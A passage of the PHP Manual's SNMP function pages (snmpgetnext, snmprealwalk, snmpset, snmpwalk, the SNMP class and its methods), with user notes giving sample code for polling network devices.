//get tcp connections
$tcpcon = snmpget($host, $community,"tcp.tcpCurrEstab.0");
$tcpconre = eregi_replace("Gauge32:","",$tcpcon);

echo '
System Name: '.$sysname.'<br>
System Uptime: '.$sysupre3.'<br>
Current Tcp Connections: '.$tcpconre.'<br>';

?>
javierb at gmx dot net 04-Jun-2003 08:08
pooling a cisco.

$ip = '1.1.1.1';
$community ='publico';
$a = snmpget($ip,$community, "IF-MIB::ifLastChange.1")
$b = snmpget($ip,$community, "IF-MIB::ifAlias.1");
print("a = ".$a."\n"."b = ".$b."\n");

a = Timeticks: (929969969) 107 days, 15:14:59.69
b = Timeticks: (929969969) 107 days, 15:14:59.69

when the interface has not description.
tkjode at phalnet dot com 12-Feb-2002 11:49
It has been observed on NT/2000 systems that flooding devices with SNMP requests will cause NT's SNMP service to stop working.

For example, I polled 183 switches on our network just fine.  I then attempted to simulate heavy traffic to that page by refreshing and breaking connections (as any real world system would have to go through).  SNMP stopped working throughout the entire machine, including non-PHP/Webserver processes.
grice at berbee dot com 24-Aug-2000 04:05
It looks like you can use a non-standard port for SNMP
with something like this:

$foo = snmpwalk('foo.bar.com:1161', 'foofoo', '.1.3.6');

This is on PHP 3.16; I haven't managed to get PHP 4.02 to compile successfully on Solaris 2.6 yet.
--Michael
snmp3_walk
snmpgetnext
SNMP Functions


Fetch the SNMP object which follows the given object id

snmpget
snmprealwalk
SNMP Functions
PHP Manual

snmpgetnext

(PHP 5)

snmpgetnext — Fetch the SNMP object which follows the given object id

Description

string snmpgetnext ( string $host , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

The snmpgetnext() function is used to read the value of the SNMP object that follows the specified object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns SNMP object value on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmpgetnext()

<?php
$nameOfSecondInterface = snmpgetnetxt('localhost', 'public', 'IF-MIB::ifName.1';
?>

See Also

  • snmpget() - Fetch an SNMP object
  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

achalsaraiya at yahoo dot co dot in 25-Mar-2010 02:46
with snmpget api, the agent returns the value associated
with the OID (or OIDs) specified in the original request.
The snmpgetnext api is  similar, but the agent returns the
value associated with the next (valid) OID

eg:
snmpgetnext('192.168.40.134',
                   'public',
                   'SNMPv2-MIB::sysUpTime.0');

will give the output:
STRING: user@hostname
snmpget
snmprealwalk
SNMP Functions


Return all objects including their respective object ID within the specified one

snmpgetnext
snmpset
SNMP Functions
PHP Manual

snmprealwalk

(PHP 4, PHP 5)

snmprealwalk — Return all objects including their respective object ID within the specified one

Description

array snmprealwalk ( string $host , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

The snmprealwalk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

Parameters

host

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array of the SNMP object ids and their values on success or FALSE on error. In case of an error, an E_WARNING message is shown.

Examples

Example #1 Using snmprealwalk()

<?php
 print_r(snmprealwalk("localhost", "public", "IF-MIB::ifName"));
?>

The above will output something like:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

See Also

  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

aleksander dot sztramski at kpsi dot pl 20-Aug-2009 04:39
If you wish to use version 2c or 3, use the following functions:

snmp v2c functions:

snmp2_get (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_getnext (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_real_walk (string host, string community, string object_id [, int timeout [, int retries]])
snmp2_set (string host, string community, string object_id, string type, mixed value [, int timeout [, int retries]])

snmp v3 functions:

snmp3_get (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
snmp3_getnext (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string pri)
snmp3_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_p)
snmp3_real_walk (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string p)
snmp3_set (string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_pr)
Anonymous 21-May-2008 10:19
To check if there were any results found you have to use the empty() function.  The count() function always returns a number 1 or larger.

     $walk_result = snmprealwalk($machine_ip, $community, $snmpcodes['interface_names']);

    if (empty($walk_result)) {
        print "No network interfaces found.<br>\n";
        exit(0);
    }
scot at indievisible dot org 09-Aug-2006 12:10
Some improvements based on testing a lot of OIDs on a lot of devices.

<?php
function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid);
    if (count($raw) == 0) return ($retval); // no data

    $prefix_length = 0;
    $largest = 0;
    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        if ($largest < $index[0]) $largest = $index[0];
        $retval[$index[1]][$index[0]] = $value;
    }

    if (count($retval) == 0) return ($retval); // no data

    // fill in holes and blanks the agent may "give" you
    foreach($retval as $k => $x) {
        for ($i = 1; $i <= $largest; $i++) {
        if (! isset($retval[$k][$i])) {
                $retval[$k][$i] = '';
            }
        }
        ksort($retval[$k]);
    }
    return($retval);
}
 ?>
scot at indievisible dot org 09-Aug-2006 08:16
Since PHP doesn't have a nice snmptable-like function... here is a quick-and-dirty hack that works for me. Works on complete and sparse tables. The example oids are for the route (complete) and interface (often sparse) tables.

<?php
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.4.21") or die("error");
    print_r($a);
    $a = snmptable("10.1.1.1", "public", ".1.3.6.1.2.1.2.2") or die("error");
    print_r($a);

function snmptable($host, $community, $oid) {
    // TODO: get original state and restore at bottom
    snmp_set_oid_numeric_print(TRUE);
    snmp_set_quick_print(TRUE);
    snmp_set_enum_print(TRUE);

    $retval = array();
    $raw = snmprealwalk($host, $community, $oid) or die("snmptable: unable to walk OID $oid");

    $prefix_length = 0;

    foreach ($raw as $key => $value) {
        if ($prefix_length == 0) {
            // don't just use $oid's length since it may be non-numeric
            $prefix_elements = count(explode('.',$oid));
            $tmp = '.' . strtok($key, '.');
            while ($prefix_elements > 1) {
                $tmp .= '.' . strtok('.');
                $prefix_elements--;
            }
            $tmp .= '.';
            $prefix_length = strlen($tmp);
        }
        $key = substr($key, $prefix_length);
        $index = explode('.', $key, 2);
        isset($retval[$index[1]]) or $retval[$index[1]] = array();
        isset($firstrow) or $firstrow = $index[1];
        $retval[$index[1]][$index[0]] = $value;
    }

    // check for holes in the table and fill them in
    foreach ($retval[$firstrow] as $key => $tmp) {
        foreach($retval as $check => $tmp2) {
            if (! isset($retval[$check][$key])) {
                $retval[$check][$key] = '';
            }
        }
    }

    return($retval);
}
?>
railson at amixsi dot com dot br 30-May-2006 10:52
Attention: timeout is in microseconds (multiply by 1,000,000 for seconds)
Stephen Cope 09-Sep-2004 08:38
Here's a way to find the uptime and number of users on a machine. (Note that uptime is the uptime of the snmpd daemon, which should be fairly close to the uptime for the host.)

<?php
        $state = snmprealwalk($host, "public", ".1.3.6.1.2.1.25.1", 50, 1);
        $uptime = ereg_replace("^.*\) ([0-9]+ .*):[0-9][0-9]\.[0-9]{2}.*$", "\\1", $state['host.hrSystem.hrSystemUptime.0']);
        $users  = (int)ereg_replace("Gauge32: ", "", $state['host.hrSystem.hrSystemNumUsers.0']);
        printf('<div class="machine"><dt>%s</dt><dd>%s</dd>', $host, $desc);
        printf('<dd>up %s</dd>', $uptime);
        if ( $users ) printf('<dd>%d user%s</dd>', $users, ($users > 1) ? 's' : '');
        printf('</div>');
?>
Lars Troen 24-Feb-2003 05:30
snmprealwalk indexes the values using the oid instead of an integer. This is useful when you need data that is contained in the oid as well as the value.

Here's an example for retrieving and printing vlan info:
//
// I have collected the vlan identifiers earlier from the 3com mib and they are stored in the $vlan table.
//
  for($n=0;$n<count($vlan);$n++){
    print $vlan[$n][id]."  ".$vlan[$n][name]."<br>\n";
    $ifStackStatusTable=@snmprealwalk($switch, $community, ".1.3.6.1.2.1.31.1.2.1.3.".$vlan[$n][id]); // ifMIB.ifMIBObjects.ifStackTable.ifStackEntry.ifStackStatus
    for(reset($ifStackStatusTable);  $port = key($ifStackStatusTable);  next($ifStackStatusTable)){
      print "$port=$ifStackStatusTable[$port]<br>";
      }
snmpgetnext
snmpset
SNMP Functions


Set the value of an SNMP object

snmprealwalk
snmpwalk
SNMP Functions
PHP Manual

snmpset

(PHP 4, PHP 5)

snmpset — Set the value of an SNMP object

Description

bool snmpset ( string $host , string $community , string $object_id , string $type , mixed $value [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmpset() is used to set the value of an SNMP object specified by the object_id.

Parameters

host

The hostname of the SNMP agent (server).

community

The write community.

object_id

The SNMP object id.

type

The MIB defines the type of each object id. It has to be specified as a single character from the below list.

types
= The type is taken from the MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

types
U | unsigned int64
I | signed int64
F | float
D | double

Most of these will use the obvious corresponding ASN.1 type. 's', 'x', 'd' and 'b' are all different ways of specifying an OCTET STRING value, and the 'u' unsigned type is also used for handling Gauge32 values.

If the MIB-Files are loaded by into the MIB Tree with "snmp_read_mib" or by specifying it in the libsnmp config, '=' may be used as the type parameter for all object ids as the type can then be automatically read from the MIB.

Note that there are two ways to set a variable of the type BITS like e.g. "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • Using type "b" and a list of bit numbers. This method is not recommended since GET query for the same OID would return e.g. 0xF8.
  • Using type "x" and a hex number but without(!) the usual "0x" prefix.

See examples section for more details.

value

The new value.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns TRUE on success or FALSE on failure.

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

Examples

Example #1 Using snmpset()

<?php
  snmpset("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Example #2 Using snmpset() for setting BITS SNMP object id

<?php
  snmpset("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
  snmpset("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

See Also

  • snmpget() - Fetch an SNMP object

User Contributed Notes

ch at lathspell dot de 13-Jan-2010 06:22
Note that there are two ways to set a variable of the type BITS like e.g.:
  SYNTAX        BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}

1. Using type "b" and a list of bit numbers like:
  snmpset('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
with the disadvantage that the success is not easily verifyable as an snmpget() for the same OID would return e.g. 0xF8.

2. Using type "x" and a hex number but without(!) the usual "0x" prefix:
  snmpset('FOO-MIB::bar.42', 'x', 'F0');
tridman 19-Apr-2007 07:19
If you have importet the MIB-Files into the MIB Tree with "snmp_read_mib" you may use '=' as the "type" parameter.
In this case the type will also be taken from the loaded mib file. (Octest strings will be interpreted like strings though)
Comes in handy for a more dynamic use of snmpset.
deivis dot jakstas at gmail dot com 28-Dec-2006 06:53
If you setting hex values correct format is:
snmpset($source_ip,$community,"$oid","x","10 10 10 10");
slawrance at technologist dot com 21-Jul-1999 12:01
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING
n    NULLOBJ
b    BITS

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the
following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double

As an example, using "i" would set an integer, and "s" would set a string.  If the SNMP host rejects the data type, you might get the following message: "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length."

If you specify an unknown or invalid OID, you might get a "Could not add variable" message.  When specifying an absolute OID (one that is already resolved) that is completely numeric, prepend it with a period.  For example, an OID that could enable/disable Ethernet ports on an Asante hub might be "1.3.6.1.2.1.22.1.3.1.1.3.6.4.0", but you would need to use ".1.3.6.1.2.1.22.1.3.1.1.3.6.4.0" in the OID parameter so that the SNMP library won't try to resolve an already resolved OID.  Friendly, unresolved OIDs do not need the period prepended, such as "system.SysContact.0"
snmprealwalk
snmpwalk
SNMP Functions


Fetch all the SNMP objects from an agent

snmpset
snmpwalkoid
SNMP Functions
PHP Manual

snmpwalk

(PHP 4, PHP 5)

snmpwalk — Fetch all the SNMP objects from an agent

Description

array snmpwalk ( string $hostname , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmpwalk() function is used to read all the values from an SNMP agent specified by the hostname.

Parameters

hostname

The SNMP agent (server).

community

The read community.

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an array of SNMP object values starting from the object_id as root or FALSE on error.

Examples

Example #1 snmpwalk() Example

<?php
$a = snmpwalk("127.0.0.1", "public", "");

foreach ($a as $val) {
    echo "$val\n";
}

?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

See Also

  • snmprealwalk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

http://mike.eire.ca 23-Mar-2005 10:54
I found on Windows (PHP 5) an empty string did not return anything, it just timed out.  I had to use null instead:

<?php
$a = snmpwalk("127.0.0.1", "public", null);
?>
bobby [dot] clark [at] eku [dot] edu 17-Sep-2003 02:29
I had to use an object_id like these.
'SNMPv2-MIB::system.sysDescr.0'
'IF-MIB::interfaces.ifTable.ifEntry.ifAdminStatus'

<?php
$host = '192.168.1.1';
$community = 'public';
$object_id = 'IF-MIB::interfaces.ifTables.ifEntry.ifAdminStatus';

$sysdesc = snmpwalk($host, $community', $object_id);
print_r($sysdesc);
?>
Lars Troen 14-Mar-2003 03:18
Note that there's different behaviuor in php snmpwalk and ucd snmpwalk. If you try to walk an oid that has one value not under a subkey of the walked oid, ucd snmpwalk will return the value while php's snmpwalk will not.
anders at ei dot nu 29-Jan-2003 10:11
It would be nice to be able to specify what snmp version to use ( 1,2c,3 )

For now, I'ts hardcoded in ext/snmp/snmp.c

change session.version from 1 to 2c or 3 if you need for now..

i.e

session.version = SNMP_VERSION_1;

to:
session.version = SNMP_VERSION_2c;
steve at ourabode dot org 26-Mar-2002 03:54
Timeout is in MICRO seconds.
1,000,000 &micros = 1 s
layer2 at www dot com 29-Aug-2001 08:52
Something to care about in dealing with snmpwalk:<BR>
While walking the MIB, snmpwalk puts info that gets into an array, and that is correct.<BR>
The trouble happened when snmpwalk needs to collect information from instances that contains subinstances (i.e. walking .1.2.3.4.5 and having instances like 1.1, 1.2, 1.3): in this case it gets info and passes into an array, but when walking the array, each value is preceeded by 'Counter32: '.<BR>
I've tested this in many ways and it always happened the same way.
john at antefacto dot com 17-Aug-2001 08:21
Ah. That's why all of our SNMP stuff was timing out anytime there was any load on the system. Sigh. A waste of two weeks trying to debug snmp....

 Even the snmpcmd manpage doesn't give a
unit for timeout.
billf at freebsd dot org 01-Aug-2001 02:22
for the poster wondering what the
timeout field was measured in:

from the ucd-snmp header file snmp_api.h:

    long    timeout;
    /* Number of uS until first timeout
    then exponential backoff */
jmartinson(AT_nospam)info234.com 20-Jun-2001 07:41
A quick router device view:

<?
include "header.html";

$host = "auscr1";
$community = "tellme";

$sysDescr = snmpget("$host","$community","system.sysDescr.0");
$ifDescr = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifDescr");
$ifIndex = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifIndex");
$ifAdminStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifAdminStatus");
$ifOperStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifOperStatus");
$ifLastChange = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifLastChange");

print "<table border=1 bgcolor=#ffffff><tr><td>$host</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff><tr><td>$sysDescr</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff>";
print "<tr>
        <td>ifIndex</td>
        <td>ifDescr</td>
        <td>ifAdminStatus</td>
        <td>ifOperStatus</td>
        <td>ifLastChange</td>
        </tr>";

for ($i=0; $i<count($ifIndex); $i++) {
        print "<tr>";
        print "<td>$ifIndex[$i]</td>";
        print "<td>$ifDescr[$i]</td>";
        print "<td>$ifAdminStatus[$i]</td>";
        print "<td>$ifOperStatus[$i]</td>";
        print "<td>$ifLastChange[$i]</td>";
        print "</tr>";
}
print "</table>";

?>
snmpset
snmpwalkoid
SNMP Functions


Query for a tree of information about a network entity

snmpwalk
SNMP
SNMP Functions
PHP Manual

snmpwalkoid

(PHP 4, PHP 5)

snmpwalkoid — Query for a tree of information about a network entity

Description

array snmpwalkoid ( string $hostname , string $community , string $object_id [, int $timeout = 1000000 [, int $retries = 5 ]] )

snmpwalkoid() function is used to read all object ids and their respective values from an SNMP agent specified by hostname.

The existence of snmpwalkoid() and snmpwalk() has historical reasons. Both functions are provided for backward compatibility. Use snmprealwalk() instead.

Parameters

hostname

The SNMP agent.

community

The read community.

object_id

If NULL, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

Return Values

Returns an associative array with object ids and their respective object value starting from the object_id as root or FALSE on error.

Examples

Example #1 snmpwalkoid() Example

<?php
$a = snmpwalkoid("127.0.0.1", "public", "");
for (reset($a); $i = key($a); next($a)) {
    echo "$i: $a[$i]<br />\n";
}
?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

See Also

  • snmpwalk() - Fetch all the SNMP objects from an agent

User Contributed Notes

thammer at rtccom dot com 14-Jun-2005 08:29
The above note mentions that the MAC addresses come back converted to integers or something funky like that. Not sure why that is happening but I fixed that with a wrapper function.

function PadMAC($mac) {
    $mac_arr = explode(':',$mac);
    foreach($mac_arr as $atom) {
        $atom = trim($atom);
        $newarr[] = sprintf("%02s",$atom);
    }
    $newmac = implode(':',$newarr);
    return $newmac;
}

Maybe that will help somebody with that issue. I know I personally use the heck out of these user contributed notes
gene_wood at example dot com 14-Oct-2004 09:23
Looks like timeout is in MICRO seconds.
1,000,000 &micros = 1 s
jasper at pointless dot net 06-Jan-2001 07:21
N.B. it's possible for snmpwalkoid to lose data - the "rmon.matrix.matrixSDTable" table for example uses binary mac addresses as part of the index, these get converted to ascii, and by the time they get to php they can be non-unique - so some entrys in the table get lost...
snmpwalk
SNMP
SNMP Functions


The SNMP class

(No version information available, might only be in SVN)

Introduction

Represents SNMP session.

Class synopsis

SNMP {
/* Properties */
public int $max_oids ;
public int $valueretrieval ;
public bool $quick_print ;
public bool $enum_print ;
public int $oid_output_format ;
public bool $oid_increasing_check ;
public int $exceptions_enabled ;
public array $info ;
/* Methods */
__construct ( int $version , string $hostname , string $community [, int $timeout = 1000000 [, int $retries = 5 ]] )
bool close ( void )
mixed get ( mixed $object_id [, bool $preserve_keys = false ] )
int getErrno ( void )
string getError ( void )
mixed getnext ( mixed $object_id )
bool set ( mixed $object_id , mixed $type , mixed $value )
bool setSecurity ( string $sec_level [, string $auth_protocol = [, string $auth_passphrase = [, string $priv_protocol = [, string $priv_passphrase = [, string $contextName = [, string $contextEngineID = ]]]]]] )
array walk ( string $object_id [, bool $suffix_as_key = FALSE [, int $max_repetitions [, int $non_repeaters ]]] )
/* Constants */
const integer ERRNO_NOERROR = 0 ;
const integer ERRNO_GENERIC = 2 ;
const integer ERRNO_TIMEOUT = 4 ;
const integer ERRNO_ERROR_IN_REPLY = 8 ;
const integer ERRNO_OID_NOT_INCREASING = 16 ;
const integer ERRNO_OID_PARSING_ERROR = 32 ;
const integer ERRNO_MULTIPLE_SET_QUERIES = 64 ;
const integer ERRNO_ANY = 126 ;
const integer VERSION_1 = 0 ;
const integer VERSION_2C = 1 ;
const integer VERSION_2c = 1 ;
const integer VERSION_3 = 3 ;
}

Properties

max_oids

Maximum OID per GET/SET/GETBULK request

valueretrieval

Controls the method how the SNMP values will be returned

SNMP_VALUE_LIBRARY | The return values will be as returned by the Net-SNMP library.
SNMP_VALUE_PLAIN | The return values will be the plain value without the SNMP type hint.
SNMP_VALUE_OBJECT | The return values will be objects with the properties "value" and "type", where the latter is one of the SNMP_OCTET_STR, SNMP_COUNTER etc. constants. The way "value" is returned is based on which one of SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN is set
quick_print

Value of quick_print within the NET-SNMP library

Sets the value of quick_print within the NET-SNMP library. When this is set (1), the SNMP library will return 'quick printed' values. This means that just the value will be printed. When quick_print is not enabled (default) the UCD SNMP library prints extra information including the type of the value (i.e. IpAddress or OID). Additionally, if quick_print is not enabled, the library prints additional hex values for all strings of three characters or less.

enum_print

Controls the way enum values are printed

Parameter toggles if walk/get etc. should automatically lookup enum values in the MIB and return them together with their human readable string.

oid_output_format

Controls OID output format

OID .1.3.6.1.2.1.1.3.0 representation for various oid_output_format values
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined
oid_increasing_check

Controls disabling check for increasing OID while walking OID tree

Some SNMP agents are known for returning OIDs out of order but can complete the walk anyway. Other agents return OIDs that are out of order and can cause SNMP::walk() to loop indefinitely until memory limit will be reached. PHP SNMP library by default performs OID increasing check and stops walking on OID tree when it detects possible loop with issuing warning about non-increasing OID faced. Set oid_increasing_check to FALSE to disable this check.

exceptions_enabled

Controls which failures will raise SNMPException instead of warning. Use bitwise OR'ed SNMP::ERRNO_* constants. By default all SNMP exceptions are disabled.

info

Read-only property with remote agent configuration: hostname, port, default timeout, default retries count

Predefined Constants

SNMP Error Types

SNMP::ERRNO_NOERROR

No SNMP-specific error occured.

SNMP::ERRNO_GENERIC

A generic SNMP error occured.

SNMP::ERRNO_TIMEOUT

Request to SNMP agent timed out.

SNMP::ERRNO_ERROR_IN_REPLY

SNMP agent returned an error in reply.

SNMP::ERRNO_OID_NOT_INCREASING

SNMP agent faced OID cycling reporning non-increasing OID while executing (BULK)WALK command. This indicates bogus remote SNMP agent.

SNMP::ERRNO_OID_PARSING_ERROR

Library failed while parsing OID (and/or type for SET command). No queries has been made.

SNMP::ERRNO_MULTIPLE_SET_QUERIES

Library will use multiple queries for SET operation requested. That means that operation will be performed in a non-transaction manner and second or subsequent chunks may fail if a type or value failure will be faced.

SNMP::ERRNO_ANY

All SNMP::ERRNO_* codes bitwise OR'ed.

SNMP Protocol Versions

SNMP::VERSION_1

SNMP::VERSION_2C, SNMP::VERSION_2c

SNMP::VERSION_3

Table of Contents

  • SNMP::close — Close SNMP session
  • SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent
  • SNMP::get — Fetch an SNMP object
  • SNMP::getErrno — Get last error code
  • SNMP::getError — Get last error message
  • SNMP::getnext — Fetch an SNMP object which follows the given object id
  • SNMP::set — Set the value of an SNMP object
  • SNMP::setSecurity — Configures security-related SNMPv3 session parameters
  • SNMP::walk — Fetch SNMP object subtree

User Contributed Notes

There are no user contributed notes for this page.
snmpwalkoid
SNMP::close
SNMP


Close SNMP session

SNMP
SNMP::__construct
SNMP
PHP Manual

SNMP::close

(PHP 5 >= 5.4.0)

SNMP::close — Close SNMP session

Description

bool SNMP::close ( void )

Frees previously allocated SNMP session object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SNMP::close() example

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  # ...
  # get, walk, etc goes here
  # ...
  $session->close();
?>

See Also

  • SNMP::__construct() - Creates SNMP instance representing session to remote SNMP agent

User Contributed Notes

There are no user contributed notes for this page.
SNMP
SNMP::__construct
SNMP


Creates SNMP instance representing session to remote SNMP agent

SNMP::close
SNMP::get
SNMP
PHP Manual

SNMP::__construct

(PHP 5 >= 5.4.0)

SNMP::__construct — Creates SNMP instance representing session to remote SNMP agent

Description

SNMP::__construct() ( int $version , string $hostname , string $community [, int $timeout = 1000000 [, int $retries = 5 ]] )

The function description goes here.

Parameters

version

SNMP protocol version:
SNMP::VERSION_1,
SNMP::VERSION_2C,
SNMP::VERSION_3.

hostname

The SNMP agent. hostname may be suffixed with optional SNMP agent port after colon. IPv6 addresses must be enclosed in square brackets if used with port. If FQDN is used for hostname it will be resolved by php-snmp library, not by Net-SNMP engine. Usage of IPv6 addresses when specifying FQDN may be forced by enclosing FQDN into square brackets. Here it is some examples:

IPv4 with default port | 127.0.0.1
IPv6 with default port | ::1 or [::1]
IPv4 with specific port | 127.0.0.1:1161
IPv6 with specific port | [::1]:1161
FQDN with default port | host.domain
FQDN with specific port | host.domain:1161
FQDN with default port, force usage of IPv6 address | [host.domain]
FQDN with specific port, force usage of IPv6 address | [host.domain]:1161

community

The purpuse of community is SNMP version specific:

SNMP::VERSION_1 | SNMP community
SNMP::VERSION_2C | SNMP community
SNMP::VERSION_3 | SNMPv3 securityName
timeout

The number of microseconds until the first timeout.

retries

The number of retries in case timeout occurs.

Return Values

Returns SNMP object representing remote SNMP agent.

Errors/Exceptions

SNMP::__construct() throws an exception when parameters count or types are wrong or unknown SNMP protocol version specified.

Examples

Example #1 Fetching sysLocation

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $sysdescr = $session->get("sysDescr.0");
  echo "$sysdescr\n";
?>

The above example will output something similar to:

STRING: Test server

See Also

  • SNMP::close() - Close SNMP session

User Contributed Notes

There are no user contributed notes for this page.
SNMP::close
SNMP::get
SNMP


Fetch an SNMP object

SNMP::__construct
SNMP::getErrno
SNMP
PHP Manual

SNMP::get

(PHP 5 >= 5.4.0)

SNMP::get — Fetch an SNMP object

Description

mixed SNMP::get ( mixed $object_id [, bool $preserve_keys = false ] )

Fetch an SNMP object specified in object_id using GET query.

Parameters

If object_id is a string, then SNMP::get() will return SNMP object as string. If object_id is a array, all requested SNMP objects will be returned as associative array of the SNMP object ids and their values.

object_id

The SNMP object (OID) or objects

preserve_keys

When object_id is a array and preserve_keys set to TRUE keys in results will be taken exactly as in object_id, otherwise SNMP::oid_output_format property is used to determinate the form of keys.

Return Values

Returns SNMP objects requested as string or array depending on object_id type or FALSE on error.

Errors/Exceptions

This method do not throw any exceptions by default. To enable throwing an SNMPException exception when some of library errors occure user should set exceptions_enabled SNMP class parameter to corresponding value. See SNMP::$exceptions_enabled explanation for more details.

Examples

Example #1 Single SNMP object

Single SNMP object may be requested in two ways: as string resulting string return value or as single-element array with associative array as output.

<?php
  $session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $sysdescr = $session->get("sysDescr.0");
  echo "$sysdescr\n";
  $sysdescr = $session->get(array("sysDescr.0"));
  print_r($sysdescr);
?>

The above example will output something similar to:

STRING: Test server
Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
)

Example #2 Miltiple SNMP objects

$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
  $results = $session->get(array("sysDescr.0", "sysName.0"));
  print_r($results);
  $session->close();

The above example will output something similar to:

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysName.0] => STRING: myhost.nodomain
)

See Also

  • SNMP::getErrno() - Get last error code
  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.
SNMP::__construct
SNMP::getErrno
SNMP


Get last error code

SNMP::get
SNMP::getError
SNMP
PHP Manual

SNMP::getErrno

(PHP 5 >= 5.4.0)

SNMP::getErrno — Get last error code

Description

int SNMP::getErrno ( void )

Returns error code from last SNMP request.

Return Values

Returns one of SNMP error code values described in constants chapter.

Examples

Example #1 SNMP::getErrno() example

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getErrno() == SNMP::ERRNO_TIMEOUT);
?>

The above example will output:

bool(false)
bool(true)

See Also

  • SNMP::getError() - Get last error message

User Contributed Notes

There are no user contributed notes for this page.
SNMP::get
